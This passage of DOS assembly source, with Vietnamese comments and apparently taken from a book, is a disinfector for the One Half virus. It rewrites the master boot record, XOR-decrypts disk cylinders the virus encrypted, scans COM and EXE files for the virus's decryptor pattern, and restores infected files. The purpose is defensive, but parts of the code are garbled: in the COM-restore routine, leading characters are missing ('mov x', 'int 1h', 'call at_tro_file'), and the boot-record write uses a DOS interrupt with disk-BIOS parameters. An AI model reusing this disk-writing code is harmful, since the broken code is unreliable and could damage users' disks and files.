 mov  si,OFFSET mb_chuan 
 mov  di,OFFSET mb_ktra 
 mov  cx,0DAh 
 cld 
 rep  movsb 
 mov  cx,0E4h 

loop_fill_0: 
 mov  byte ptr [di],0 
 inc  di 
 loop  loop_fill_0 
 add  di,40h 
 mov  word ptr [di],0AA55h 
 mov  dx,0080h 
 mov  cx,0001h 
 mov  bx,OFFSET mb_ktra 
 mov  ax,0301h 
 int  21h 
 jc  loi_ghi_dia 
 mov  ax,0 

kt_de_mb_chuan: 
 pop  di 
 pop  si 
 pop  es 
 pop  ds 
 ret 
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loi_ghi_dia: 
 mov  dx,OFFSET mess_loi_dia 
 call  write_screen 
 mov  ax,1 
 jmp  kt_de_mb_chuan 

_de_mb_chuan endp 
 

;********************************* 
public _giai_ma_oh 

; Giai ma phan du lieu tren dia da bi ma hoa boi VR One 
Half trong 
; truong hop Master Boot bi nhiem VR One Half. 

_giai_ma_oh proc 
 push  ds 
 push  es 
 push  si 
 push  di 
 mov  si,OFFSET mb_ktra 
 mov  di,word ptr [si+29h] ; DI chua Cyl da bi ma 
hoa 
 mov  dl,80h 
 mov  ah,08h  ; Lay tham so o dia cung: DH: Head 
MAX 
 int  13h  ; CH: Cyl MAX, CL: Sector MAX 
 call  lay_value_xor_oh 
 call  lay_cylinder_max  ; Lay Cylinder lon nhat, 
dat vao si 
 cmp  ax,1 
 je  loi_partition 
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 call  thong_bao_giai_ma  ; Thong bao giai ma 
tu dau den dau 
      ; va hoi xem co dong y 
khong 
     ; neu khong dong y, ax=0 
 cmp  ax,0   ; Khong dong y 
 je  loc_4 
 mov  ax,cx 
 cmp  si,di 
 jbe  loc_4 
 and  al,3Fh   ; al luu so sector tren dia 
 mov  dl,80h 
 mov  cl,1 
 push  ax 
 mov  bx,OFFSET _buff_track 
 mov  ax,word ptr [bx+2]  ; Gia tri segment 
 mov  es,ax 
 mov  ax,word ptr [bx]  ; Gia tri offset 
 mov  bx,ax 
 pop  ax 

loc_loop_1: 
 dec  si 
 call  sub_4 
 push  dx 

loc_loop_2: 
 call  vi_tri_giai_ma 
 mov  ah,2 
 push  ax 
 int  13h 
 pop  ax 
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 jc  loi_dia_ma 
 call  sub_38 
 inc  ah 
 push  ax 
 int  13h 
 pop  ax 
 jc  loi_dia_ma 
 test  dh,3Fh 
 jz  loc_3 
 dec  dh 
 jmp  loc_loop_2 

loc_3: 
 pop  dx 
 cmp  si,di 
 ja  loc_loop_1 
 mov  dx,OFFSET mess_giai_ma_xong 
 call  write_screen 
 mov  dx,OFFSET space 
 call  write_screen 
 mov  dx,OFFSET space 
 call  write_screen 
 call  xuong_dong 
 jmp  loc_4 

loi_dia_ma: 
 pop  dx 
 mov  dx,OFFSET mess_loi_dia 
 call  write_screen 
 jmp  loc_4 

loi_partition: 
 mov  dx,OFFSET mess_loi_partition 
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 call  write_screen 
loc_4: 

 pop  di 
 pop  si 
 pop  es 
 pop  ds 
 ret 

_giai_ma_oh endp 
;---------------------- 
sub_4 proc 

 push  ax 
 mov  ax,si 
 mov  ch,al 
 push  cx 
 mov  cl,4 
 shl  ah,cl 
 pop  cx 
 mov  al,3Fh 
 and  dh,al 
 and  cl,al 
 not  al 
 push  ax 
 and  ah,al 
 or  dh,ah 
 pop  ax 
 shl  ah,1 
 shl  ah,1 
 and  ah,al 
 or  cl,ah 
 pop  ax 
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 ret 
sub_4 endp 
;-------------------------- 
sub_38 proc 

 push  ax 
 push  bx 
 push  cx 
 push  dx 
 mov  dx,value_xor 

loc_5: 
 mov  cx,100h 

loc_loop_6: 
 xor  word ptr es:[bx],dx 
 inc  bx 
 inc  bx 
 loop  loc_loop_6 
 dec  al 
 jnz  loc_5  
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

sub_38 endp 
;------------------------ 
lay_value_xor_oh proc 

 push  ax 
 push  bx 
 push  cx 
 push  dx 
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 push  es 
 mov  ax,@data 
 mov  es,ax 
 mov  ch,00h 
 and  cl,3Fh 
 sub  cl,03h 
 mov  dx,80h 
 mov  ax,0201h 
 mov  bx,OFFSET buff_temp 
 int  13h 
 mov  ax,word ptr es:[bx+1D1h] 
 mov  value_xor,ax 
 pop  es 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

lay_value_xor_oh endp 
;------------------------- 
lay_cylinder_max proc  ; Lay tu bang phan chuong, dat 

vao si 
    ; Gia tri tra lai: ax=1: Loi 
 push  bx 
 push  cx 
 push  dx 
 mov  bx,OFFSET mb_ktra 
 mov  cx,4 
 add  bx,1EEh ; bx tro vao pt cuoi trong bang phan 
chuong 
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loc_loop_23: 
 mov  al,[bx+4] 
 cmp  al,1 ; FAT 12 
 je  loc_26 
 cmp  al,4 ; FAT 16 
 jb  loc_24 
 cmp  al,6 ; BIG DOS 
 jbe  loc_26 

loc_24: 
 sub  bx,10h 
 loop  loc_loop_23 
 mov  ax,1 
 jmp  loc_27 

loc_26: 
 mov  cx,[bx+6] ; S_C cuoi 
 mov  dh,[bx+1] ; Header dau 
 call  sub_16 
 mov  ax,0 
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loc_27: 
 pop  dx 
 pop  cx 
 pop  bx 
 ret 

lay_cylinder_max endp 
;------------------------ 
sub_16 proc 

 shr  cl,1 
 shr  cl,1 
 and  dh,0C0h 
 or  dh,cl 
 mov  cl,4 
 shr  dh,cl 
 mov  dl,ch 
 xchg  si,dx 
 ret 

sub_16 endp 
;------------------------- 
thong_bao_giai_ma proc ; ax=1 la dong y, ax=0 la khong 

dong y 
 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_giaima1 
 call  write_screen 
 mov  ax,di 
 call  write_hex_to_dec 
 mov  dx,OFFSET mess_giaima2 
 call  write_screen 
 mov  ax,si 
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 dec  ax 
 call  write_hex_to_dec 
 call  xuong_dong 
 call  hoi 
 pop  dx 
 ret 

thong_bao_giai_ma endp 
;--------------------------------------- 
vi_tri_giai_ma proc 

 push  ax 
 push  bx 
 push  cx 
 push  dx 
 push  dx 
 mov  dx,OFFSET mess_vitri_giaima1 
 call  write_screen 
 mov  ax,si 
 call  write_hex_to_dec 
 mov  dx,OFFSET mess_vitri_giaima2 
 call  write_screen 
 pop  dx 
 mov  al,dh 
 xor  ah,ah 
 call  write_hex_to_dec 
 mov  dx,OFFSET space 
 call  write_screen 
 call  ve_dau_dong 
 pop  dx 
 pop  cx 
 pop  bx 
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 pop  ax   
 ret 

vi_tri_giai_ma endp 
;******************* 
end 
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file 4: testfile 
.model small 
.data 

 MZ  equ 00h 
 PartPag  equ 02h 
 PageCnt  equ 04h 
 ReloCnt  equ 06h 
 HdrSize  equ 08h 
 MinMem  equ 0Ah 
 MaxMem  equ 0Ch 
 ReloSS  equ 0Eh 
 ExeSP  equ 10h 
 ChkSum  equ 12h 
 ExeIP  equ 14h 
 ReloCS  equ 16h 
 TablOff  equ 18h 
 Overlay  equ 1Ah 
 
 Header_Size dw 0 
 
 extrn _mota    : byte 
 extrn _duongdan  : byte 
 extrn _tenfile   : byte 
 thuoc_tinh  db 0 
 
 buff_dta  db 400h dup(0) 
 kich_thuoc  dw 0 
 kich_thuoc_mo_rong  dw 0 
 ma_hoa_file  dw 0 
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 tang_ma_hoa_file  dw 0 
 
 buff_1C  db 1Ch dup(0)  ; buff gom 1Ch byte. 
 buff_10  db 0Ah dup(0)  ; buff gom 10 byte. 
 buff_temp  db 120h dup(0) 
 

 mess_loi_mo  db 'Khong mo duoc file nay !$' 
 mess_loi_doc   db 'Khong doc duoc file nay !$' 
 mess_loi_dong   db 'Khong dong duoc file nay !$' 
 mess_bi_nhiem   db 'File nay da bi nhiem One Half! Se tien 

hanh khoi phuc lai$' 
 mess_loi_khoi_phuc  db 'Khong khoi phuc duoc !$' 
 mess_khoi_phuc_xong  db 'Da khoi phuc xong !$' 
 space   db '                   $' 
.code 

 extrn xuong_dong  : proc 
 extrn ve_dau_dong  : proc 
 extrn press_any_key  : proc 
 extrn hoi  : proc 
 extrn write_screen  : proc 
 

public _test_file 
_test_file proc 

 push  ds 
 push  es 
 mov  ax,@data 
 mov  ds,ax 
 mov  ah,2Fh 
 int  21h ; lay dia chi DTA cua DOS, dat vao 
ES:BX 
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 push  es 
 push  bx  ; Cat giu de cuoi cung phai tra lai cho 
DOS. 
 mov  dx,OFFSET buff_dta 
 mov  ah,1Ah 
 int  21h  ; Dat DTA bat dau lam viec 
 mov  bx,dx 
 mov  dx,OFFSET _mota  ; Mo ta file tim kiem 
 mov  cx,0FFh ; Thuoc tinh file 

loc_loop_0: 
 mov  ah,4Eh 
 int  21h  ; Tim tap tin thoa man dau tien 
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loc_loop_1: 
 jc  het_thu_muc 
 mov  al,byte ptr [bx+15h] 
 push  ax 
 and  al,08h   ; Nhan dia 
 cmp  al,08h 
 pop  ax 
 je  tim_tiep 
 push  ax 
 and  al,10h 
 cmp  al,10h   ; co la thu muc con khong 
 pop  ax 
 jne  la_file   ; Nhay neu khong phai la thu 
muc con 
 cmp  byte ptr [bx+1Eh],'.' 
 je  tim_tiep  ; La cac thu muc dac biet 
 call  xd_mo_ta_t  ; con neu la subdir thi xay dung 
mo ta moi 
 add  bx,2Bh   ; bx tro toi DTA moi 
 push  dx 
 mov  dx,bx 
 mov  ah,1Ah 
 int  21h 
 pop  dx 
 jmp  loc_loop_0  ; Tim tap tin dau tien theo mo ta 
moi 

la_file: 
 call  lay_thuoc_tinh 
 call  in_ten_file ; In ten file tim duoc trong DTA ra 
man hinh 
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 jmp  tim_tiep 
het_thu_muc: 

 cmp  bx,OFFSET buff_dta 
 je  ket_thuc 
 call  xd_mo_ta_l 
 sub  bx,2Bh 
 push  dx 
 mov  dx,bx 
 mov  ah,1Ah 
 int  21h 
 pop  dx 

tim_tiep: 
 mov  ah,4Fh 
 int  21h   ; Tim tap tin ke tiep 
 jmp  loc_loop_1 

ket_thuc: 
 pop  bx 
 pop  es 
 mov  dx,bx 
 push  es 
 pop  ds 
 mov  ah,1Ah 
 int  21h   ; Dat DTA lai vi tri cu 
 pop  es 
 pop  ds 
 ret 

_test_file endp 
;------------------------------ 
xd_mo_ta_t proc 
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 ; Noi tiep thu muc con vua tim duoc vao mo ta, bx dang 
tro toi 
 ; dau cua DTA dang chua ten thu muc con moi tim duoc. 
 push  ax 
 push  bx 
 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  si,OFFSET _mota 
 mov  di,OFFSET _duongdan 

loop_tang: 
 cmp  byte ptr [si],'*' 
 je  gan_them 
 inc  si 
 inc  di 
 jmp  loop_tang 

gan_them: 
 add  bx,1Eh 

loop_gan_them: 
 mov  dl,byte ptr [bx] 
 mov  byte ptr [si],dl 
 mov  byte ptr [di],dl 
 inc  bx 
 inc  si 
 inc  di 
 cmp  byte ptr [bx],0 
 jne  loop_gan_them 
 mov  byte ptr [si],'\' 
 mov  byte ptr [di],'\' 
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 mov  byte ptr [di+1],0 
 mov  byte ptr [si+1],'*' 
 mov  byte ptr [si+2],'.' 
 mov  byte ptr [si+3],'*' 
 mov  byte ptr [si+4],0 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

xd_mo_ta_t endp 
;------------------------------ 
xd_mo_ta_l proc 

 ; Bo di thu muc con vua tim het vao mo ta, bx dang tro 
toi 
 ; dau cua DTA dang chua ten thu muc con moi tim duoc. 
 push  ax 
 push  bx 
 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  si,OFFSET _mota 
 mov  di,OFFSET _duongdan 

loop_tang_1: 
 cmp  byte ptr [si],'*' 
 je  dung_lai_1 
 inc  si 
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 inc  di 
 jmp  loop_tang_1 

dung_lai_1: 
 dec  si 
 dec  si 
 dec  di 
 dec  di 

loop_giam_1: 
 cmp  byte ptr [si],'\' 
 je  gan_them_1 
 dec  si 
 dec  di 
 jmp  loop_giam_1 

gan_them_1: 
 mov  byte ptr [di+1],0 
 mov  byte ptr [si+1],'*' 
 mov  byte ptr [si+2],'.' 
 mov  byte ptr [si+3],'*' 
 mov  byte ptr [si+4],0 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

xd_mo_ta_l endp 
;------------------------------ 
in_ten_file proc 

 push  ax 
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 push  bx 
 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  si,OFFSET _duongdan 
 mov  di,OFFSET _tenfile 

lay_duong_dan: 
 cmp  byte ptr [si],0 
 je  xong_duong_dan 
 mov  dl,byte ptr [si] 
 mov  byte ptr [di],dl 
 inc  si 
 inc  di 
 jmp  lay_duong_dan 

xong_duong_dan: 
 add  bx,1Eh   ; bx dang tro toi DTA hien thoi 

lay_ten_file: 
 mov  dl,byte ptr [bx] 
 mov  byte ptr [di],dl 
 cmp  dl,0 
 je  xong_ten_file 
 inc  di 
 inc  bx 
 jmp  lay_ten_file 

xong_ten_file: 
 mov  bx,OFFSET _tenfile 

loc_loop_2: 
 mov  dl,byte ptr [bx] 
 cmp  dl,0 
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 je  het_xau 
 mov  ah,02h 
 int  21h 
 inc  bx 
 jmp  loc_loop_2 

het_xau: 
 mov  dx,OFFSET space 
 call  write_screen 
 call  ve_dau_dong 
 mov  dx,OFFSET _tenfile 
 mov  al,7 
 and  al,thuoc_tinh 
 cmp  al,0 
 je  khong_dat_thuoc_tinh 
 call  dat_thuoc_tinh_bt 

khong_dat_thuoc_tinh: 
 call  mo_file_handle   ; mo file dang xet theo che 
do doc ghi, 
         ; the dat o bx, ax=1 neu co 
loi 
 cmp  ax,1 
 je  mo_bi_loi 
 mov  cx,1Ch    ; doc 1C byte dau tien, tai vi tri con 
tro file 
 mov  dx,OFFSET buff_1C   ; con tro file vao 
buff_1C 
 mov  ah,3Fh 
 int  21h 
 jc  doc_bi_loi 
 cmp  ax,cx   ; Khong du so byte can doc 



 
www.nhipsongcongnghe.net 

 
190/233 

 jb  dong_file 
 mov  si,OFFSET buff_1C 
 cmp  byte ptr [si],0E9h 
 je  loc_test_file_com  ; Neu lenh dau tien la lenh 
nhay E9 
 cmp  word ptr [si],5A4Dh 
 je  loc_test_file_exe 
 jmp  dong_file  ; neu khong thi ket thuc 

loc_test_file_com: 
 call  KT_FILE_COM 
 cmp  ax,0 
 je  dong_file  ; Khong bi nhiem nen dong file 
lai 
 call  com_da_bi_nhiem 
 jmp  dong_file 

loc_test_file_exe: 
 call  KT_FILE_EXE 
 cmp  ax,0 
 je  dong_file  ; Khong bi nhiem nen dong file 
lai 
 call  exe_da_bi_nhiem 
 jmp  dong_file 

dong_file: 
 call  dong_file_handle 
 cmp  ax,1 
 je  dong_bi_loi 
 jmp  loc_kt 

doc_bi_loi: 
 call  thong_bao_loi_doc 
 jmp  dong_file 
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mo_bi_loi: 
 call  thong_bao_loi_mo 
 jmp  loc_kt 

dong_bi_loi: 
 call  thong_bao_loi_dong 
 jmp  loc_kt 

loc_kt: 
 mov  al,7 
 and  al,thuoc_tinh 
 cmp  al,0 
 je  khong_tra_thuoc_tinh 
 call  tra_thuoc_tinh 

khong_tra_thuoc_tinh: 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

in_ten_file endp 
;------------------------- 
KT_FILE_COM PROC ; Kiem tra file not EXE (la file COM 

hoac khac) 
 ; Tra ve gia tri trong thanh ghi ax 
 ; ax=1 neu bi nhiem One Half 
 ; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi 
loi 
 push  es 
 push  bx 
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 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  dx,word ptr [si+1]  ; Byte dau la lenh nhay thi 
[si+1] la 
       ; dia chi nhay 
 add  dx,3   ; Cong them 3 byte cua lenh 
nhay truoc 
 xor  ax,ax 
 mov  es,ax 
 mov  Header_Size,ax 
 call  test_oh_file 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  es 
 ret 

KT_FILE_COM ENDP 
;******************************************** 
KT_FILE_EXE PROC ; Kiem tra file .EXE 

 ; Tra ve gia tri trong thanh ghi ax 
 ; ax=1 neu bi nhiem One Half 
 ; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi 
loi 
 push  es 
 push  bx 
 push  cx 
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 push  dx 
 push  si 
 push  di 
 mov  dx,word ptr [si+ExeIP] 
 mov  ax,word ptr [si+ReloCS] 
 mov  es,ax 
 mov  ax,word ptr [si+HdrSize] 
 mov  cl,4 
 shl  ax,cl 
 mov  Header_Size,ax 
 call  test_oh_file 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  es 
 ret 

KT_FILE_EXE ENDP 
;**************************** 
xd_vt_file proc 

 ; Xac dinh vi tri cua file .EXE can doc 
 ; voi segment CS trong es, 
 ; offset IP trong dx 
 ; Gia tri tra lai trong cx:dx 
 push  ax 
 mov  ax,es 
 xor  cx,cx 
 clc 
 shl  ax,1 
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 rcl  cx,1 
 shl  ax,1 
 rcl  cx,1 
 shl  ax,1 
 rcl  cx,1 
 shl  ax,1 
 rcl  cx,1 
 add  dx,ax 
 adc  cx,0 
 add  dx,Header_Size 
 adc  cx,0  ; cx:dx la vi tri ma CS:IP bat dau thuc 
hien lenh 
 and  cx,000Fh 
 pop  ax 
 ret 

xd_vt_file endp 
;********************************** 
test_oh_file proc 

 mov  cx,0Ah   ; Doc 10 doan 
loop_10_doan: 

 push  cx 
 push  dx 
 call  xd_vt_file  ; Segment trong es, offset trong 
dx 
 call  dat_tro_file  ; Dich cx:dx byte tu vi tri dau 
tep 
 mov  cx,10 
 call  doc_file_handle  ; doc 10 byte vao buff_10 
 pop  dx 
 pop  cx 
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 cmp  ax,0 
 je  doc_co_loi_1 
 cmp  ax,10   ; doc khong du 10 byte 
 jb  khong_co_vir_1  ; thi ket thuc va khong kiem 
tra duoc 
 mov  si,OFFSET buff_10 
 mov  di,si 
 add  di,0Ah 
 cmp  cx,7 
 jne  not_doan_4 

loop_doan_4: 
 cmp  byte ptr [si],0BFh  ; lenh mov di,xxxx 
 je  lay_kich_thuoc_1 
 cmp  byte ptr [si],0BEh  ; lenh mov si,xxxx 
 je  lay_kich_thuoc_1 
 cmp  byte ptr [si],0B9h  ; lenh mov cx,xxxx 
 je  lay_kich_thuoc_1 
 cmp  byte ptr [si],0BBh  ; lenh mov bx,xxxx 
 je  lay_kich_thuoc_1 
 cmp  byte ptr [si],0BAh  ; lenh mov dx,xxxx 
 je  lay_kich_thuoc_1 
 cmp  byte ptr [si],0BDh  ; lenh mov bp,xxxx 
 je  lay_kich_thuoc_1 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  loop_doan_4 

not_doan_4: 
 cmp  cx,6 
 jne  not_doan_5 
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loop_doan_5: 
 cmp  byte ptr [si],0BFh  ; lenh mov di,xxxx 
 je  lay_ma_hoa_file 
 cmp  byte ptr [si],0BEh  ; lenh mov si,xxxx 
 je  lay_ma_hoa_file 
 cmp  byte ptr [si],0B9h  ; lenh mov cx,xxxx 
 je  lay_ma_hoa_file 
 cmp  byte ptr [si],0BBh  ; lenh mov bx,xxxx 
 je  lay_ma_hoa_file 
 cmp  byte ptr [si],0BAh  ; lenh mov dx,xxxx 
 je  lay_ma_hoa_file 
 cmp  byte ptr [si],0BDh  ; lenh mov bp,xxxx 
 je  lay_ma_hoa_file 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  loop_doan_5 
 jmp  khong_co_vir 

lap_lai_10_doan: 
 loop  loop_10_doan 
 jmp  co_vir 

khong_co_vir_1: 
 jmp  khong_co_vir 

doc_co_loi_1: 
 jmp  doc_co_loi 

lay_kich_thuoc_1: 
 jmp  lay_kich_thuoc 

not_doan_5: 
 cmp  cx,4 
 jne  not_doan_7 
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loop_doan_7: 
 cmp  byte ptr [si],081h  ; lenh add 
 je  lay_tang_ma_hoa_file 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  loop_doan_7 
 jmp  khong_co_vir 

not_doan_7: 
 cmp  cx,2 
 jne  not_doan_9 

loop_doan_9: 
 cmp  byte ptr [si],081h ; lenh cmp 
 je  lay_kich_thuoc_mo_rong 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  loop_doan_9 
 jmp  khong_co_vir 

not_doan_9: 
 cmp  cx,1 
 jne  kiemtra_d 
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loop_doan_10: 
 cmp  byte ptr [si],075h  ; lenh jnz 
 je  tang_2_byte 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  loop_doan_10 
 jmp  khong_co_vir 

lay_kich_thuoc: 
 mov  ax,word ptr [si+1] 
 sub  ax,100h 
 mov  kich_thuoc,ax 
 jmp  tang_3_byte 

lay_ma_hoa_file: 
 mov  ax,word ptr [si+1] 
 mov  ma_hoa_file,ax 
 jmp  tang_3_byte 

lay_tang_ma_hoa_file: 
 inc  si 
 inc  dx 
 mov  ax,word ptr [si+1] 
 mov  tang_ma_hoa_file,ax 
 jmp  tang_3_byte 

lay_kich_thuoc_mo_rong: 
 inc  si 
 inc  dx 
 mov  ax,word ptr [si+1] 
 sub  ax,100h 
 mov  kich_thuoc_mo_rong,ax 
 jmp  tang_3_byte 
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tang_3_byte: 
 add  si,3 
 add  dx,3 
 cmp  si,di 
 ja  khong_co_vir 
 jmp  kiemtra_d 

tang_2_byte: 
 add  si,2 
 add  dx,2 
 cmp  si,di 
 ja  khong_co_vir 
 jmp  kiemtra_d 

kiemtra_d: 
 cmp  byte ptr [si],0E9h 
 je  doc_doan_tiep_e9 
 cmp  byte ptr [si],0EBh 
 je  doc_doan_tiep_eb 
 inc  si 
 inc  dx 
 cmp  si,di 
 jb  kiemtra_d 
 jmp  khong_co_vir ; neu khong co lenh nhay 
E9,EB 

doc_doan_tiep_e9: 
 add  dx,word ptr [si+1] 
 add  dx,3 
 jmp  lap_lai_10_doan 

doc_doan_tiep_eb: 
 add  dl,byte ptr [si+1] 
 adc  dh,0 
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 add  dx,2 
 cmp  byte ptr [si+1],80h 
 jae  giam_100 
 jmp  lap_lai_10_doan 

giam_100: 
 sub  dx,100h 
 jmp  lap_lai_10_doan 

doc_co_loi: 
 call  thong_bao_loi_doc 

khong_co_vir: 
 mov  ax,0 ; Coi nhu khong kiem tra duoc 
 jmp  ket_thuc_file 

co_vir: 
 mov  ax,1 
 jmp  ket_thuc_file 

ket_thuc_file: 
 ret 

test_oh_file endp 
;********************************** 
com_da_bi_nhiem proc 

 push  ax 
 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_bi_nhiem 
 mov  ah,09h 
 int  21h 
 call  xuong_dong 
 call  hoi 
 cmp  ax,1 
 jne  kt_xu_ly_com 
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 call  khoi_phuc_file_com 
kt_xu_ly_com: 

 pop  dx 
 pop  ax 
 ret 

com_da_bi_nhiem endp 
;------------------------ 
khoi_phuc_file_com proc 

 push  ax 
 push  bx 
 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  dx,kich_thuoc 
 xor  cx,cx 
 call  dat_tro_file  ; Dat tro file ve phan dau cua 
virus 
 cmp  ax,1 
 je  khong_khoi_phuc_duoc 
 mov  dx,OFFSET buff_temp   ; buff luu phan dau 
cua virus. 
 mov  cx,120h 
 mov  ah,3Fh 
 int  21h  ; Doc phan dau cua virus oh gom 
120h byte 
 jc  khong_khoi_phuc_duoc 
 cmp  ax,cx 
 jb  khong_khoi_phuc_duoc 
 mov  si,OFFSET buff_temp 
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 mov  dx,ma_hoa_file 
 dec  cx 

loop_giai_ma: 
 xor  word ptr [si],dx 
 add  dx,tang_ma_hoa_file 
 inc  si 
 loop  loop_giai_ma 
 mov  si,OFFSET buff_temp 
 mov  dx,si 
 add  dx,40h  ; Offset cua du lieu tra lai cua doan 
dau tien 
 add  si,2Ah  ; Dia chi doan dau tien 
 mov  cx,0Ah  ; lap cho 10 doan 

loop_thay_the_file: 
 push  cx 
 push  dx 
 mov  dx,word ptr [si]   ; Vi tri cua doan thay the voi 
file COM 
 sub  dx,100h       ; lui lai 100 byte cua dau file 
COM 
 xor  cx,cx 
 call  dat_tro_file 
 pop  dx 
 pop  cx 
 cmp  ax,1 
 je  khong_khoi_phuc_duoc 
 push  cx 
 mov  cx,0Ah  ; Ghi 10 byte tu DS:DX vao vi tri con 
tro file. 
 mov  ah,40h 
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 int  21h  ; Ghi 10 byte tu DS:DX vao vi tri con 
tro file 
 pop  cx 
 inc  si 
 inc  si 
 add  dx,0Ah 
 loop  loop_thay_the_file 
  ; duoi day thay 3 byte dau tien 
 xor  cx,cx 
 xor  dx,dx 
 call  dat_tro_file 
 mov  dx,OFFSET buff_temp 
 add  dx,10h 
 mov  cx,3 
 mov  ah,40h 
 int  21h 
 ; Duoi day la cat file 
 mov  x,kich_thuoc 
 xor  x,cx 
 call  at_tro_file 
 mov  x,0 
 mov  h,40h 
 int  1h 
 jmp  hoi_phuc_xong 

khong_khoi_phuc_duoc: 
 mov  x,OFFSET mess_loi_khoi_phuc 
 mov  h,09h 
 int  1h 
 jmp  et_thuc_khoi_phuc 

khoi_phuc_xong: 
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 mov  x,OFFSET mess_khoi_phuc_xong 
 mov  h,09h 
 int  1h 
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ket_thuc_khoi_phuc: 
 call  xuong_dong 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 ret 

khoi_phuc_file_com endp 
;------------------------ 
exe_da_bi_nhiem proc 

 push  ax 
 push  dx 
 call  xuong_dong 
 mov  dx,OFFSET mess_bi_nhiem 
 mov  ah,09h 
 int  21h 
 call  xuong_dong 
 call  hoi 
 cmp  ax,1 
 jne  kt_xu_ly_exe 
 call  khoi_phuc_file_exe 

kt_xu_ly_exe: 
 pop  dx 
 pop  ax 
 ret 

exe_da_bi_nhiem endp 
;********************************* 
khoi_phuc_file_exe proc 
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 push  es 
 push  ax 
 push  bx 
 push  cx 
 push  dx 
 push  si 
 push  di 
 mov  dx,kich_thuoc 
 add  dx,100h  ; o phan tren kt da tru 100h cua 
file com 
 mov  si,OFFSET buff_1C 
 mov  ax,word ptr [si+ReloCS] 
 mov  es,ax 
 call  xd_vt_file 
 call  dat_tro_file  ; Dat tro file ve phan dau cua 
virus 
 cmp  ax,1 
 je  khong_khoi_phuc_duoc_exe_1 
 mov  dx,OFFSET buff_temp   ; buff luu phan dau 
cua virus. 
 mov  cx,120h 
 mov  ah,3Fh 
 int  21h  ; Doc phan dau cua virus oh gom 
120h byte 
 jc  khong_khoi_phuc_duoc_exe_1 
 cmp  ax,cx 
 jb  khong_khoi_phuc_duoc_exe_1 
 mov  si,OFFSET buff_temp 
 mov  dx,ma_hoa_file 
 dec  cx 
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loop_giai_ma_exe: 
 xor  word ptr [si],dx 
 add  dx,tang_ma_hoa_file 
 inc  si 
 loop  loop_giai_ma_exe 
 mov  si,OFFSET buff_temp 
 mov  dx,si 
 add  dx,40h ; Offset cua du lieu tra lai cua doan 
dau tien 
 add  si,2Ah ; Dia chi doan dau tien 
 mov  cx,0Ah ; lap cho 10 doan 

loop_thay_the_file_exe: 
 push  cx 
 push  dx 
 mov  dx,word ptr [si]   ; Vi tri cua doan thay the voi 
file EXE 
 call  xd_vt_file   ; trong modul nay da duoc cong 
them header 
 call  dat_tro_file 
 pop  dx 
 pop  cx 
 cmp  ax,1  
 je  khong_khoi_phuc_duoc_exe_1 
 push  cx 
 mov  cx,0Ah     ; Ghi 10 byte tu DS:DX vao vi tri 
con tro file. 
 mov  ah,40h 
 int  21h    ; Ghi 10 byte tu DS:DX vao vi tri 
con tro file 
 pop  cx 
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 inc  si 
 inc  si 
 add  dx,0Ah 
 loop  loop_thay_the_file_exe 
 jmp  xd_exe_header 

khong_khoi_phuc_duoc_exe_1: 
 jmp  khong_khoi_phuc_duoc_exe 
  ; Xay dung lai Exe Header 

xd_exe_header: 
 mov  si,OFFSET buff_temp 
 mov  di,OFFSET buff_1C 
 mov  ax,word ptr [si+16h] 
 mov  word ptr [di+ReloCnt],ax  ; Lay lai 
ReloCount 
 mov  ax,word ptr [si+1eh] 
 mov  word ptr [di+ReloSS],ax  ; Lay lai ReloSS 
 mov  ax,word ptr [si+20h] 
 mov  word ptr [di+ExeSP],ax  ; Lay lai ExeSP 
 mov  ax,word ptr [si+24h] 
 mov  word ptr [di+ExeIP],ax  ; Lay lai ExeIP 
 mov  ax,word ptr [si+26h] 
 mov  word ptr [di+ReloCS],ax  ; Lay lai 
ReloCS 
 sub  word ptr [di+PageCnt],7  ; Kich thuoc cua OH 
chiem 
      ; 7 trang, con thieu 
28h 
 add  word ptr [di+PartPag],28h 
 cmp  word ptr [di+PartPag],200h 
 jb  ghi_exe_header 
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 sub  word ptr [di+PartPag],200h 
 inc  word ptr [di+PageCnt] 

ghi_exe_header: 
 xor  cx,cx 
 xor  dx,dx 
 call  dat_tro_file 
 mov  dx,OFFSET buff_1C 
 mov  cx,1Ch 
 mov  ah,40h 
 int  21h 
  ; Duoi day la cat file 
 mov  dx,kich_thuoc 
 add  dx,100h 
 call  xd_vt_file 
 call  dat_tro_file  ; Dat tro file ve phan dau cua 
virus 
 mov  cx,0 
 mov  ah,40h 
 int  21h   ; Cat file tai day 
 jmp  khoi_phuc_xong_exe 

khong_khoi_phuc_duoc_exe: 
 mov  dx,OFFSET mess_loi_khoi_phuc 
 mov  ah,09h 
 int  21h 
 jmp  ket_thuc_khoi_phuc_exe 

khoi_phuc_xong_exe: 
 mov  dx,OFFSET mess_khoi_phuc_xong 
 mov  ah,09h 
 int  21h 

ket_thuc_khoi_phuc_exe: 
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 call  xuong_dong 
 pop  di 
 pop  si 
 pop  dx 
 pop  cx 
 pop  bx 
 pop  ax 
 pop  es 
 ret 

khoi_phuc_file_exe endp 
;********************************* 
lay_thuoc_tinh proc 

 push  cx 
 mov  cl,byte ptr [bx+15h] 
 mov  thuoc_tinh,cl 
 pop  cx 
 ret 

lay_thuoc_tinh endp 
;------------------------- 
dat_thuoc_tinh_bt proc 

 push  ax 
 push  cx 
